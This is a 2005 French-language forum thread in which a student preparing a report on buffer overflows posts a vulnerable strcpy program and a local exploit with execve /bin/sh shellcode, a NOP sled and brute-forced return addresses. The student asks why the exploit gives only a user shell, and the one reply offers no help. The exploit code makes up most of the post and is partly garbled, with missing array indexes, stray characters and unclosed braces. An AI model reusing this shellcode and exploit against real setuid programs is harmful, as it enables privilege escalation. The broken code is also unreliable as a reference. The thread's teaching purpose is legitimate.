Actualité informatique
Test comparatif matériel informatique
Jeux vidéo
Astuces informatique
Vidéo
Télécharger
Services en ligne
Forum informatique
01Business



|||-  

Projet Buffer overflow et C

 

1 utilisateur anonyme
Ajouter une réponse
 

 
Page photos
 
     
Vider la liste des messages à citer
 
 Page :
1
Auteur
 Sujet :

Projet Buffer overflow et C

Prévenir les modérateurs en cas d'abus 
angelfire0​8081
angelfire08081
  1. Posté le 04/02/2005 à 16:10:00  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
en fait mon probleme le voici :  
 
 j'ai un exposé a faire sur le buffer oveflow mais voila j'ai recupéré un code d'un bof mais je n'ai pas accés à root, je pense que c'est le bit suid, mais je l'ai bien mis sur le fichier!!!!  
 Alors es ce que c'est la shellcode ou autre chose qui ne me donne pas les accées root?  
 
 voici l'exploit  
 
 vuln1:  
 int main(int argc, char **argv)  
 {  
 char buffer[100];  
 if (argc > 1)  
 strcpy(buffer, argv[1]);  
 return (0);  
 }  
 
 exploit1:  
 #include <stdlib.h>  
 #define BUFFER_LEN 100  
 #define OVERFLOW 28  
 
 int main()  
 {  
 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\​xc0\x88\x46\x07"  
 "\x89\x46\x0c\x89\xf3\x8d\x4e\​x08\x8d\x56"  
 "\x0c\xb0\x0b\xcd\x80\x31\xdb\​x89\xd8\x40"  
 "\xcd\x80\xe8\xdc\xff\xff\xff"  
 "/bin/sh";  
 char newret[] = "\x00\xf1\xff\xbf"; // adresse de depart  
 char diff[] = "\xff\xff\xff\xbf"; // adresse limite  
 char buffer[512];  
 int i;  
 int j;  
 int loop;  
 int pid;  
 int error;  
 
 for (loop = 0; strcmp(diff, newret) > 0; loop++)  
 {  
 error = 0;  
 
 newret[0] += 1;  
 if (newret[0] == '\x00')  
 {  
 newret[1] += 1;  
 newret[0] = '\x00';  
 continue;  
 }  
 
 for (i = 0; i < ((BUFFER_LEN+OVERFLOW)-(2*strl​en(newret)+strlen(shellcode)))​; i++)  
 buffer = '\x90';  
 
 for (j = 0; shellcode[j]; j++, i++)  
 buffer = shellcode[j];  
 
 for (j = 0; newret[j]; j++, i++)  
 buffer = newret[j];  
 
 for (j = 0; newret[j]; j++, i++)  
 buffer = newret[j];  
 
 pid = fork();  
 if (pid == -1)  
 {  
 printf("#@! Fork() Error.\n" );  
 exit(0);  
 }  
 else if (pid == 0)  
 {  
 execl("/home/user/vuln1", "vuln1", buffer, NULL);  
 exit(0);  
 }  
 else  
 waitpid(pid, &error, 0);  
 
 if (error == 0)  
 {  
 return (0);  
 }  
 a l"execution j'ai :  
 
 sh-2.05a$ whoami  
 user  
 sh-2.05a$  
 :-(  
 
 comment faire please!!!!!!! :-(  
 
 
 :-(  
 help  
 
 
 
 

arriere, band de newbies ^^
icare_olivier
Sur la bonne voie (de 100 à 499 messages postés)
  1. Posté le 06/02/2005 à 01:14:44  
  1. answer
  1. Prévenir les modérateurs en cas d'abus
 
ma réponse la plus pertinente sera : "heuuuuu..."
 alors la... :heink:

(Publicité)
 Page :
1

Aller à :
 

Sujets relatifs
Créer un nouveau Projet PhoneGap Starter avec C # Express Edition Nero 6 : erreur = "Buffer too large"
out of memory at line:1 ou stack overflow at line:1 pas possible d'enregistrer un projet vidéo sur disque extern
Projet Linux Projet d'achat de XP : Quelle version ?
son dans mon projet Movie Maker : Impossible de publier de graver un projet
Enregistrement en projet avec WMM  
Plus de sujets relatifs à : Projet Buffer overflow et C